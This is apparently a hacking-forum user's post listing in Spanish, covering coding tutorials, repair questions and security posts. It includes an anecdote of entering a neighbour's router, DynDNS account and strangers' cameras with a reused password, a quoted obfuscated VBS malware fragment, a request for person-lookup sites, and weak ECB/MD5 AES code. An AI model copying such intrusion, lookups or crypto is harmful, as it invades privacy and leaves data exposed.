Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Temas - noxonsoftwares

Páginas: [1]
1
Python / [Py3] - Algoritmo para Des/Codificar
« en: Agosto 08, 2019, 11:33:18 am »
Hola a todos.

Bueno tenia un tiempo libre y pues a raíz de que un usuario había "echo un nuevo método de codificación (encriptación)" se me ocurrió hacer uno, pero como no soy tan bueno programando (como para inventar una operación matemática furtiva para la encriptación) me las ingenie y salio el siguiente resultado:

Me base en la tabla ASCII pero intentar encriptar algo con eso es súper fácil. Así que intente hacer que sea un poco mas difícil poder entender el texto cifrado.




Ahora el Script

Código: [Seleccionar]
import random

def cifra(mensaje):
mensaje = mensaje
for code in mensaje:
codigo = ord(code)
for i in code:
while(True):
a = random.randrange(0,255)
b = random.randrange(0,255)
c = a * b
if(c == codigo):
print(a,b, end="z")
break

Lo que hace el script que cifra el texto es obtener el código (ascii) del carácter y mediante la función random obtener números aleatorios uno A y otro B que al multiplicarlos de el codigo de dicho caracter. Una vez que lo consigue lo imprime en pantalla (el caracter z es solo para darle mas estilo  ::) :o )



Estadisticas y defecto del script
[/b]



El único defecto que podría mencionar es el consumo excesivo de memoria (todo gracias a la función random. Algo que podría decirse que tiene a favor es que por mas que sea el mismo texto a cifrar el resultado seria diferente ya que la función random se encargaría de encontrar diferentes múltiplos para el código del carácter.



Estadisticas del documento (texto a cifrar)







Consumo de memoria







Tiempo de ejecución del script






Metodo para conseguir el texto original

Código: [Seleccionar]
def descifra(mensaje):
mensaje = mensaje
lista = []
for i in mensaje.split('z'):
for x in i.split(' '):
lista.append(x)
it = iter(lista)
for x, y in zip(it, it):
print(chr(int(x) * int(y)), end='')


Eso es todo en esta oportunidad, espero sea de utilidad (no se si servirá), que sirva para aprender algo nuevo a quienes inician y pues no se que mas decir. Saludos

PD_ espero poder mejorarlo en algún tiempo que tenga libre.

2
Dudas y pedidos generales / Moto G3 no pasa del logo
« en: Noviembre 14, 2018, 02:21:10 pm »
Buenas compañeros de UC. Hoy tengo un problemilla que no he podido resolver. Resulta que tengo en mis manos un moto G3 xt1542 el cual enciende pero no pasa del logo. Note que el bootloader está locket, ya tengo la clave para desbloquearlo desde la oem usando fastboot pero no puedo hacerlo porque no tiene activa la depuración USB y no puedo activarlo ya que el teléfono no enciende.
También probé resetearlo de fábrica en modo recovery pero de igual manera este no pasa del logo o pasa el logo y queda la pantalla negra.

Alguna solución?

Yo he intentado:

Modo recovery: restaurar datos de fábrica.

Fastboot: borrar caché, userdata, unlock bootloader (pero no tengo depuración USB).

Gracias de antemano.

3
Hola gente de UC. No estoy familiarizado con programación web así que desconozco muchas cosas. Tengo una pregunta cómo dice el Tito de este hilo pero les explicaré mejor lo que quiero saber.

Imaginemos que tengo una página llamada pagina1.com que se encarga de subir un archivo delimitado por comas. Lo que esta página debería hacer es: dirigirse a otrositio.com, logearse y ingresar a un formulario donde carga uno por uno los elementos que contiene el archivo que se subió a pagina1.com para luego finalizar ("presionando") automáticamente y que los datos queden guardados en otrositio.com.

No sé si me explico bien. Es posible realizar eso? Que necesito saber del otrositio.com? (Como hace los post, cookies, etc)?????

Gracias por su ayuda

4
Dudas y pedidos generales / Obtener datos de una persona
« en: Junio 07, 2018, 09:58:26 pm »
Buenas gente hoy vengo con una pregunta...alguien sabrá de alguna página para poder obtener datos de una persona con tan solo el nombre? He buscado me topé con dateas...pero este pide un pago para enviar los datos y pues busco algo free.

Si alguien sabe de algo...graciad

5
Seguridad / La importancia de tus passwords
« en: Noviembre 24, 2017, 04:53:41 pm »
Hola Underc0der's en esta ocasión hablaremos de algo que es de suma importancia... nuestras queridas contraseñas (y las tan preciadas de alguien más xD).

Detenidos por un segundo

Hoy en día si nos paramos un segundo en este mundo tan acelerado y mas cuando se trata de internet donde todo vuela a millones de milésimas de segundos, podremos observar que prácticamente usamos una contraseña hasta para mirar el pronóstico del tiempo (a modo de ejemplo). Lo usamos constantemente como para ver el clima, ingresar a las redes sociales, acceder a sitios web y muchas otras cosas...pero....que pasaría si la perdemos?

Está claro que sí la contraseña se filtra otra persona tendría acceso a nuestra cuenta, de la misma forma que si nuestra contraseña fuera fácil de conseguir/descifrar/crackear.  Por eso lo que no debemos hacer a la hora de crear un password:

1. Nunca usar nombres personales.

2. No usar números de forma ascendente, como el más simple 123456 o como las passwords más simples 000000, 0987654321, etc.

3. No usar nombre de familia, fechas de cumpleaños, de mascotas, etc.

4. No colocar nombre de personas que admiras o famosos (ya que seguramente te pasaras hablando de ello todo el día...sería algo obvio) o cosas que te gusten hacer.

En la actualidad existen muchísimos sitios como este: http://www.clavesegura.org que nos permiten generar una contraseña segura por nosotros, para que solo tengamos que recordarla.


Todos para uno y uno para todos

El otro día estaba conectado al wifi de un buen vecino (que me cedió el pass) cerca de un lugar de trabajo cuando de repente estaba aburrido y decidí meterme al panel de administración del router. Fue entonces que desde el móvil corro la APK llamada fing y escaneo la red para conseguir la dirección la cual era la 192.168.1.1 (router linksys) y me encuentro con el panel de admin pidiéndome usuario y contraseña...pienso que iría allí...no doy muchas vueltas y en usuario coloco "admin"...pero en la contraseña que coloco? decidí probar con la misma que la del acceso al wifi y bingo...acceso al router.



Pero de que me sirve eso? Bien pues tenía cámaras IP en su local revisando un poco el panel note que permitía conexiones mediante un puerto las cuales estaban etiquetadas como "cámaras" (muy listillo).



Poco más tarde note que tiene una cuenta dyndns en la cual como ya sabrán de puede observar la cuenta, el usuario y la contraseña (como simples ateriscos)...siguiendo con mi curiosidad fui a la página de dyndns :D y decidí intentar ingresar, pues coloco el usuario que aparecía en el panel y en la contraseña no sabía qué poner...hasta que se me ocurrió probar con la misma password que obtuve desde un principio.....y woala..logré ingresar a la cuenta.

 

Recorriendo en ella me di cuenta que se trata de una cuenta Pro. y tiene como unos 26 host que dan acceso a cámaras de seguridad de varios locales. Ya estando allí decidí probar si podía ver las cámaras, para ello baje del PlayStore el IP Cam Viewer que permite reconocer el tipo de cámaras para facilitar la configuración. Ya teniendo todo preparado pues en la URL de la cámara coloco las que conseguí en la cuenta ta dyndns y pues en usuario coloque: "admin" y en la contraseña.......adivinen....



Si, así es...está persona utilizo la misma contraseña en todas sus cuentas...en la clave del router...en la clave de su dyndns...en la clave de acceso a las 26 cámaras de otros locales (de los cuales 24 pertenecían a otras entidades)..y pues ya ni se me ocurrió revisar su correo por temor a ingresar con la misma clave.

A todo esto seguramente sabrán la importancia de las contraseñas y lo fácil que se torna tener acceso a todos si estás se repiten en varias cuentas. Por eso lo mejor es tener una contraseña diferente para cada cuenta que tengáis, justamente para evitar que algún curioso se meta en todo.

Para finalizar......les digo que se queden tranquilos....ya que fui a lo de mi vecino y entre mates y mates le comenté su error y que colocar su nombre más la cantidad de perros que tenía no era buena idea. El se dio cuenta de lo peligroso de la situación (ya que las cámaras de los demás locales era un servicio por el cual recibía pagos) y no le gustaba a idea de que espíen a sus clientes. Por lo que me ha cebado como 3 termos de mate xD

6
Dudas y pedidos generales / Netbook exo del gob. no arranca
« en: Noviembre 18, 2017, 12:43:59 pm »
Hola gente. En esta oportunidad vengo a consultarles sobre un problema. Resulta que tengo una Net del gob. Precisamente una Exo (no recuerdo de que año) el tema es que la enciendo y no pasa más allá de la pantalla de la BIOS. (Adjuntaré IMGs)

Lo que intente:

1- desconectar teclado
2- quitar hdd
3- cambiar RAM

Nota: al presionar la tecla suprimir en la BIOS larga un pitido corto y debajo queda un mensaje: Por favor espere... (En dónde queda colgado por horas hasta días (porque dejé encendida durante 2 dias))





7
Android / Programa en C/C++ desde el móvil
« en: Octubre 24, 2017, 05:06:59 pm »

Como bien sabemos, programar lleva su tiempo y no siempre podemos estar encastrados al escritorio para hacerlo porque tenemos que tomarnos tiempo libre para despejar la mente, salir a caminar o simplemente tomar un trago con amigos. Pero como todo buen programador tendremos la cabeza en aquel bug o problema que no podemos solucionar.

Que pasaría si en ese tiempo libre se nos ocurre una solución o si estamos en el tren aburridos por el viaje y no llevamos con nosotros la laptop? Pues algo que siempre llevamos a mano es nuestro smartphone. Porque no programar desde el? Pues hoy en día esto es posible tan solo con instalar una aplicación, correrla y disfrutar de lo que tanto nos apasiona.

Es por eso que en esta oportunidad veremos cómo poder programar en C/C++ directamente desde nuestro móvil, con la posibilidad de compilarlo utilizando Fortan, GnuCC, Clang entre otros.

Lo primero que necesitaremos será descargarnos desde el Play Store la app llamada CCTOOLS



Una vez instalada la apk lo único que hacemos es iniciarla para seleccionar el compilador que deseamos de la lista.



Ya elegido el compilador que usaremos solo nos queda comenzar a escribir código.







Otras de las ventajas que tiene esta aplicación es que cuenta con módulos (plugins) que nos permiten expandirla.



Mediante la descarga de los módulos es posible crear y ejecutar aplicaciones para android de forma nativa con la posibilidad de compilarlo para así obtener un .APK, todo esto directamente desde el mismisimo movil.



8
Python / [Python3] Interfaces graficas #1 con QT4/5
« en: Septiembre 25, 2017, 08:52:35 pm »
En esta ocasión veremos un pequeño tutorial de python3 y QT4/5 para crear nuestras aplicaciones con interfaz gráfica. Para ello necesitaremos tener instalado la versión de python 3.X y QT-Designer en nuestro ordenador, ya sea windows o linux (pero en este caso el tutorial se realizara sobre Linux, que también puede servir para windows).

Primeros pasos:

Lo primero que haremos claro como todo buen programador (si usamos un IDE) sera abrirlo para poder codear nuestra aplicación (en este caso me encuentro usando PyCharm como IDE) o directamente desde cualquier editor de texto como puede ser notepad (en windows) o tu editor preferido en linux.




Una vez abierto el IDE creamos un nuevo proyecto con el nombre que ustedes prefieran (yo en este caso lo he llamado calculo).

Una ves hecho esto lo que haremos sera crear nuestro archivo.py (que puede llamarse calculo.py)





Diseñando nuestra ventana:

Ya teniendo preparado el IDE para poder comenzar a codear lo que haremos sera abrir el QT-Designer para crear la interfaz de nuestro programa (o mejor dicho la ventanita de nuestro programa) y creamos un nuevo Widget como muestra la siguiente imagen.



Una ves que creamos la ventana lo que haremos sera agregarle dos cajas de texto (lineEdit), un botón (pushButton) y un label (Label). La orientación de los controles puede ser a su gusto, yo lo deje como la siguiente imagen:



Una vez que tengamos la ventana armada lo que haremos sera guardarla, en ese momento seleccionamos el directorio donde se guardara nuestra GUI (ventana que creamos) la cual yo le pondre el nombre de ventan.ui ya que *.ui es la extensión por defecto.



a con la ventana editada y guardada lo que debemos hacer es convertirla a codigo python mediante una herramienta que se llama PYUIC4 o PYUIC5 dependiendo de la version de QT que tengan instalada. Todo esto mediante el siguiente comando
Código: [Seleccionar]
pyuic -o nombre_nuevo.py ventana.ui


Esto nos generara un archivo python el cual contiene la información de nuestra ventana.



Bien,  hasta ahora tenemos nuestra ventana que funciona en python lo que nos faltaría es que al ejecutarla se muestre en pantalla. Para que esto suceda deberemos crear una nueva clase de python a la que podríamos llamar "main.py" yo en mi caso la llame "gui.py" como la imagen a continuación. Ahora pasaremos a ver el código...





Importando nuestra ventana:

Como se puede observar en la imagen de arriva lo primero que hacemos el importar las dependencias de QT4/5:

Código: [Seleccionar]
form PyQT5 import QtCore, QtGui, QWidgets
Código: [Seleccionar]
form ventana import Ui_Form  #(donde Ui_form es el nombre de la clase de nuestra ventana)

Una vez que todo esta importado creamos una clase que sera la encargada de cargar nuestra ventana y también contendrá los eventos de los controles como por EJ: mostrar un mensaje al presionar un botón.



Ahora analizaremos el código:

Bien lo primero que hacemos es importar los modulos de QT para ello las siguientes lineas:

Código: [Seleccionar]
from PyQt5 import QWidgets, QtCore, QtGui
Luego importamos nuestra ventana que creamos en QtDesigner y la pasamos a un archivo python.

Código: [Seleccionar]
form ventana import Ui_Form
A mi en lo particular cuando trabajo con QT me gusta crear una clase para mi GUI (o en simples palabras para mi ventana) asi que crearemos la clase de la ventana:

Código: [Seleccionar]
class window(Ui_Form):
    def __init__(self, dialog):
        Ui_Form.__init__(self)
        self.setupUi(dialog)

bien con eso ya tenemos declarado para que se muestre nuestra ventana pero para ello tenemos que invocarla de la siguiente manera:

Código: [Seleccionar]
if __name__ == '__main__':
    app = QWidgets.QApplication(sys.argv)
    dialog = QWidgets.QDialog()
    prog = window(dialog)
    dialog.show()
    sys.exit(app.exec_())



Ejecutamos para ver si todo esta bien damos F9 (claro si estas usando PyCharmIDE)



El resultado de nuestro programa es el siguiente:



Claro que si en el codigo anterior en lugar de introducir números introducimos letras este nos tirara un error. Para ello podriamos hacerlo de la siguiente manera, claro que podemos hacer que solo acepte numeros pero en esta entrada solo saltaremos esa parte modificando el fragmento de codigo para que quede de la siguiente manera:

Código: [Seleccionar]
def sumar(self):
        a = self.lineEdit.displayText()
        b = self.lineEdit_2.displayText()

        try:
            resultado = int(a) + int(b)
            self.label.setNum(resultado)
        except: pass



9

Si bien esta noticia no es algo muy reciente resulta interesante.

Este nuevo método de ciberdelincuencia se expande por medio de los principales reproductores y plataformas de reproducción multimedia.
 

Investigadores de la compañía israelí de seguridad informática Check Point Software Technologies, han descubierto que los 'hackers' pueden secuestrar ordenadores, dispositivos móviles o televisores inteligentes a través de un virus insertado en los subtítulos para series y películas descargados de la Red.

El modus operandi de este nuevo método de ciberdelincuencia es el siguiente: los 'hackers' crean un archivo de subtítulos que contiene un código malicioso y luego lo suben a plataformas como OpenSubtitles.org, desde donde los subtítulos maliciosos son descargados automáticamente por los reproductores multimedia, permitiendo así que un 'hacker' asuma el control total del dispositivo de la víctima.

Los archivos de subtítulos infectados funcionan en los principales reproductores y plataformas de reproducción multimedia como VLC, Kodi (XBMC), Popcorn-Time y Stremio. "La complejidad de la cadena de suministros de subtítulos y el ecosistema fragmentado, junto con una seguridad limitada, significa que hay múltiples vulnerabilidades que podrían ser explotadas, lo que lo convierte en un objetivo muy atractivo para los ciberatacantes", explicó Check Point.



Por el momento, Popcorn-Time, Kodi, VLC y Stremio ya han corregido las vulnerabilidades detectadas en sus plataformas, y han recomendado a sus usuarios actualizar esos programas a las versiones más recientes.
"Los subtítulos maliciosos podrían ser creados y entregados a millones de dispositivos de forma automática, pasando por alto el 'software' de seguridad y dando a los 'hackers' el control total del dispositivo infectado y los datos que contiene", finalizó la compañía de ciberseguridad.

Fuente:
https://estecnology.blogspot.com.ar/2017/06/su-dispositivo-movil-puede-ser-hackeado.html?m=1
https://www.helpnetsecurity.com/2017/05/23/subtitle-hack/

10
Hacking / La Ingeniería Social
« en: Agosto 23, 2017, 01:16:42 pm »


Según Wikipedia:

La Ingeniería social es la práctica de obtener información Confidencial a través de la manipulación de usuarios legítimos.

Por ende de puede decir que el principio que sustenta la ingeniería social es que en cualquier sistema "los usuarios son el eslabón débil"

Existen diversas formas de utilizar y aplicar lo que se conoce como ingeniería social pero los escenarios donde más son utilizados hoy en día son en el fraude, intrusión de una red, espionaje, etc. para ello existen diversas técnicas como las siguientes:

Pretextos:

Es en donde se inventa un escenario para llevar a la víctima a revelar información personal. A menudo suele llevar una investigación previa del objetivo, como conocer su nombre completo, fecha de nacimiento, nombre de mascotas, etc. Otras solamente basta con hacerle creer que es legítimo.


Redes sociales:


Hoy en día la importancia que las personas ponen en Compartir momentos, fotos familiares, situaciones sentimentales, etc. conlleva a que muchas personas con o sin conocimiento revele mucha información personal y sensible en forma constante, lo cual, provee de mucha información a un delincuente que puede usar esa información para conseguir passwords hasta un robo de identidad.

Phishing:


El Phishing (o pesca) es uno de los ataques más simples y efectivos a la vez. Este método consiste en engañar a la víctima llevándolo a pensar que un administrador del sistema esta solicitando datos o bien hasta la clonación de una página web o parte de ella para así poder obtener usuarios y contraseñas, números de tarjetas de crédito etc.
Otro ejemplo de ataque por phisihing es el uso de envío de archivos adjuntos mediante correo como puede ser fotos de desnudez, programas gratis, licencias de antivirus, promociones de regalos de alguna tienda de indumentaria, etc que al descargarlo ejecutan código malicioso.

Estas 3 técnicas anteriormente mencionadas son de las más comunes y utilizadas hasta el día de hoy, ninguna es más efectiva que otra ya que el factor importante esta en que la víctima crea que la mentira es Real.


Como prevenir estos ataques?

Existen unas medidas básicas de prevención ante estos ataques (sin volvernos unos paranoicos por la seguridad :) )

1) Verificar que las páginas que visitamos sean legítimas mirando que la dirección de la misma no tenga algún carácter de más o menos. Si los certificados de la página están presentes y sin válidos siendo estos HTTPS.

2) No dar ningún dato personal, bancario, etc. por telefono. En caso de recibir una llamada del Banco (supuesto o Real) no dar información. Para eso tienen sucursales por lo que es más seguro dirigirse a una de ellas para realizar cualquier operación o actualización de datos.

3) No descargar archivos adjuntos si el remitente es desconocido. En caso de sospechar o no tener la seguridad de su procedencia podría ser ejecutado en un SandBox.

4) En cuanto a las redes sociales no agregar a desconocidos o en caso de hacerlo verificar la configuración de seguridad para determinar que tipo de información es visible para cierto usuario.

5) Lo más importante...Nunca se sabe quien esta del otro lado!!!.


Saludos.

Fuente: Wikipedia, propia.

11
Ideas y Sugerencias / Redes Sociales Desactualizadas
« en: Agosto 02, 2017, 08:04:24 pm »
Hola.

Bueno de tanto dar y dar vueltas he estado revisando la redes sociales en los enlaces que tiene la pagina y me di cuenta de que algunas estan desactualizadas con la información, como en el gaso de G+ esta tiene como ultima actualizacion una entrada en el 2014 si no me equivoco, no se como sera en el f4cebo0k....en youtube (es entendible que no muchos aportes para la pagina o blog son en formato de video.

Mi sugerencia...? a si.... podrian hacer algo para que las publicaciones en la pagina o blog (foro no porque se llenaria de "dudas y pedidos generales"  ::) ) al ser publicadas automaticamente se publiquen en las redes sociales.... pienso yo que asi mas personas podrian conocer, aprender y aportar a esta gran comunidad que no deja de sorprenderme.

Mis mas coordiales saludos... espero no se molesten.

12
Dudas y pedidos generales / vbs FUD
« en: Marzo 22, 2017, 09:27:04 pm »
Hola compañeros del foro, hoy vengo a molestarlos con una pregunta sobre algo que la verdad nunca se me cruzo aprender o leer al respecto. Les cuento, resulta que desde el trabajo alguien me trajo un pendrive para que copie unos documentos y los edite, pero al insertar el pendrive me encuentro con un archivo *.vbs que al abrirlo para editarlo (así podría ver el contenido) me encuentro con el contenido cifrado o fud (disculpen si no hacete en la descripción del texto pero no tengo conocimiento) por lo cual me llamo la atención de que puede ser un virus o un downloader. Ahora bien mi pregunta es como puedo por decirlo desencriptar el texto para poder hacerlo legible (por lo que llego a deducir tiene declarado algunas rutas, no se si de archivos o web), para asi poder aprender de como esta hecho o ver si se autocopia en la pc o no (porque vi declaraciones string que podria ser que genere algun nombre aleatorio).

aqui les dejo un fragmento del vbs.

Código: [Seleccionar]
d="NYXMUfSkzABuicqGmFxThlnrgeWosbHItJdRKEwVvpQLDjaCOyPZ"
g=""""
r="kqxT = "&g&"nzcMqnx11.MMcx.cUT"&g&"GqFT = 5181zcxTNuuMzF = "&g&"%NGGMNTN%"&g&"ucBfzuU = TFhUucBfquMUF = TFhUMzi xkUuuqYA xUT xkUuuqYA = nxXFzGT.XFUNTUqYAUXT("&g&"nxXFzGT.xkUuu"&g&")Mzi fzuUxgxTUiqYAxUT fzuUxgxTUiqYA = XFUNTUqYAUX

coloco solo ese fragmento porque no se si puedo poner todo el codigo. :-\

13
Dudas y pedidos generales / [SOLUCIONADO] Zero-day orientación
« en: Febrero 11, 2017, 04:34:43 am »
Buenas gente del foto. ando algo perdido en este mundo tan enorme y necesito que me orienten un poco. Quiesiera saber sobre los zero day(se que trata de aprovechar un hueco en un programa) pero lo que quisiera saber es:

# como encontrar ese hueco o que debo hacer para encontrarlo.
# una vez que lo encontré: que puedo hacer con ese vulnerabilidad.

Espero puedan ayudarme con esta duda...quizás luego de tantas pruebas y lectura logre algo.

Gracias

14
Off Topic / Tu lenguaje de programación.
« en: Julio 31, 2016, 12:57:38 pm »
Hola gente del foro...hoy vengo con una idea la cual es que cada uno comente cual es su lenguaje de programación preferido y el motivo de su elección. Se que muchos tienen más de 1 lenguaje de programación pero sólo debe ser el preferido (sólo 1)  :P.
No importa a que este orientado sólo se debe colocar el lenguaje y el motivo. Porque esto? Pues porque a muchas personas les interesa saber en qué programan los genios de la informática o aquellos que mas saben. Les invito a que comenten.

15
Dudas y pedidos generales / Programas en Ruso
« en: Julio 16, 2016, 03:48:34 pm »
Estimados usuarios del foro, esta vez tengo una pregunta... tengo instalado kali 
Código: [Seleccionar]
Linux noxonsoftwares 4.6.0-kali1-amd64 #1 SMP Debian 4.6.3-1kali1 (2016-07-12) x86_64 GNU/Linux y esta en español pero pasa que como ahora luego de algunas actualizaciones me cambia el idioma de algunos programas ya me paso con QtCreator y ahora con QBitTorrent, lo vuelvo a colocar en español pero no me cambia el idioma, alguien sabria como solucionar este problemita?

Aqui una imagen:


16
Dudas y pedidos generales / [Pregunta] condensadores
« en: Julio 06, 2016, 12:01:06 am »
Estimados amantes de la electrónica la verdad que en este tema estoy algo muy verde. Necesitaría que me dijieran de cuantos uf tiene que ser un capacitor que sea capas de cargar 5v ? O en alternativa que capacitor junto a que resistencia podría utilizar para largar 5v. No se si se me entiende.

17
Python / [Script] Pypass Generador de contraseñas
« en: Marzo 03, 2016, 02:40:53 pm »
Bueno gente del foro en esta ocasión les traigo un humilde aporte de este pequeño script para generar contraseñas aleatorias solo números de hasta 8 caracteres.

Código: Python
  1. import string
  2. import os, sys
  3. from random import *
  4.  
  5. #######################################
  6. # Console colors
  7. #######################################
  8.  
  9. W = '\033[0m'  # white (normal)
  10. R = '\033[31m'  # red
  11. G = '\033[32m'  # green
  12. O = '\033[33m'  # orange
  13. B = '\033[34m'  # blue
  14. P = '\033[35m'  # purple
  15. C = '\033[36m'  # cyan
  16. GR = '\033[37m'  # gray
  17.  
  18.  
  19.  
  20.  
  21. def genera():
  22.     characters = string.digits
  23.     password =  "".join(choice(characters) for x in range(randint(0, 9)))
  24.     while True:
  25.         i = len(password)
  26.         if i == 8:
  27.             # Escribe y agrega los pass al diccionario
  28.             dic = open("diccionario.txt", "a")
  29.             dic.write(password + "\n")
  30.             dic.close()
  31.             break
  32.         else:
  33.             return genera()
  34.  
  35. def generar():
  36.     try:
  37.         count = 0
  38.         max = int(input("Ingrese la cantidad de claves a generar: "))
  39.         while (count < max):
  40.             genera()
  41.             count = count + 1
  42.             print("[+]Generando clave...", count, "/", max)
  43.             os.system("clear")
  44.     except:
  45.         print(R + "[!]Solo debe ingresar numeros" + W)
  46.         sys.exit()
  47.     finally:
  48.         banner()
  49.         print("[+]Claves generadas con exito.")
  50.  
  51. def banner():
  52.     print("""
  53. ###############################################################################
  54. #                 888888                                                      #
  55. #                 8    8 e    e eeeee eeeee eeeee eeeee                       #
  56. #                 8eeee8 8    8 8   8 8   8 8   " 8   "                       #
  57. #                 88     8eeee8 8eee8 8eee8 8eeee 8eeee                       #
  58. #                 88       88   88    88  8    88    88                       #
  59. #                 88       88   88    88  8 8ee88 8ee88                       #
  60. #-----------------------------------------------------------------------------#
  61. #-------------------------------noxonsoftwares--------------------------------#
  62. ###############################################################################
  63. """)
  64.  
  65.  
  66. os.system("clear")
  67. banner()
  68. generar()
  69.  

Aquí el vídeo de como funciona  ::)


18
Dudas y pedidos generales / [SOLUCIONADO] Drivers Tarjeta Wifi
« en: Octubre 17, 2012, 09:19:53 pm »
Estimados colegas, compañeros, usuarios del foro UNDERCODE hoy vengo a moletarlos con un problemita que tengo, actualmente me encuentro usando y probando BlackBuntu el cual trae todas las herramientas de pentest del backtrack pero tengo un problema que se convierte en un dolor de cabeza. cuando quiero utilizar la auditoria de redes tanto como el aircrack-ng airmon-ng entre otros no me detecta la tarjeta wifi que ya vino en mi notebook.
Me he cansado de buscar en SanGoogle pero no encontre manera o lamentablemente no busque bien, si alguien tiene una solucion o algunas indicaciones para que pueda colocar mi tarjeta en modo de escucha aqui les dejo las indicaciones de mi trarjeta wifi.



Descripción . . . . . . . . . . : Broadcom 802.11n Network Adapter
   Fabricante  . . . . . . . . . : Broadcom
   Proveedor  . . . . . . . . . . . : Broadcom
   Versión   . . . . . . . . . . . : 5.60.350.21


Si son o pudrieran ser tan amables de ayudarme porque si no puedo hacerla funcionar no podre poner a prueva todo lo que he leido.

Desde ya muchas gracias a todos.

19
Dudas y pedidos generales / [SOLUCIONADO] Sockets (Ayuda)
« en: Octubre 02, 2012, 02:33:19 am »
Estimados colegas del foro tengo una pregunta si alguien puede ayudarme, es que me resulta dificil ya que con winsock me era mas facil hacer las tareas jeje.

Lo que necesitaria es saber como puedo hacer un cliente servidor usando netsocket porque no tengo idea , busque  y busque por la web pero ninguno me funciona como quiero (usando mi cuenta de No-IP como lo hacia con winsock) ¿El porque les pido esto? pues porque win7 no trabaja con winsock.dll y la verdad es que ahora para ser francos todos usan o la mayoria usa win7 el cual esta mas apto para NetSockes.

si alguien fuera tan amable de ayudarme le estare agradecido.

20
C# - VB.NET / [VB2010] Algoritmo encryptacion AES
« en: Septiembre 29, 2012, 06:59:13 pm »
Bueno como mi primer aporte les traigo este algoritmo de encriptacion AES el cual funciona de la siguiente manera:

Para encriptar es necesario introducir una contraseña, la cual servira posteriormente para desencriptar lo que esta encriptado (facil no? )

Bueno sin mas vueltas aqui el algoritmo.

Código: vb.net
  1. 'Encriptacion en AES con contraseña para poder ver lo encritado
  2.     'Se encripta y se le asigna una contraseña para poder ver el texto desencriptado
  3.     'Para desencriptar pide que se ingrese la contraseña, si esta es incorrecta no muestra nada.
  4.  
  5.     Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
  6.         Dim AES As New System.Security.Cryptography.RijndaelManaged
  7.         Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
  8.         Dim encrypted As String = ""
  9.         Try
  10.             Dim hash(31) As Byte
  11.             Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
  12.             Array.Copy(temp, 0, hash, 0, 16)
  13.             Array.Copy(temp, 0, hash, 15, 16)
  14.             AES.Key = hash
  15.             AES.Mode = Security.Cryptography.CipherMode.ECB
  16.             Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
  17.             Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
  18.             encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
  19.             Return encrypted
  20.         Catch ex As Exception
  21.         End Try
  22.     End Function
  23.  
  24.     Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
  25.         Dim AES As New System.Security.Cryptography.RijndaelManaged
  26.         Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
  27.         Dim decrypted As String = ""
  28.         Try
  29.             Dim hash(31) As Byte
  30.             Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
  31.             Array.Copy(temp, 0, hash, 0, 16)
  32.             Array.Copy(temp, 0, hash, 15, 16)
  33.             AES.Key = hash
  34.             AES.Mode = Security.Cryptography.CipherMode.ECB
  35.             Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
  36.             Dim Buffer As Byte() = Convert.FromBase64String(input)
  37.             decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
  38.             Return decrypted
  39.         Catch ex As Exception
  40.         End Try
  41.     End Function


Ejemplo de uso con dos buttons y dos textbox

Código: vb.net
  1.  Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  2.         TextBox2.Text = AES_Encrypt(TextBox1.Text, InputBox("ingrese la contraseña"))
  3.     End Sub
  4.  
  5.  
  6.  
  7.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  8.         TextBox1.Text = AES_Decrypt(TextBox2.Text, InputBox("ingrese la contraseña"))
  9.     End Sub

Páginas: [1]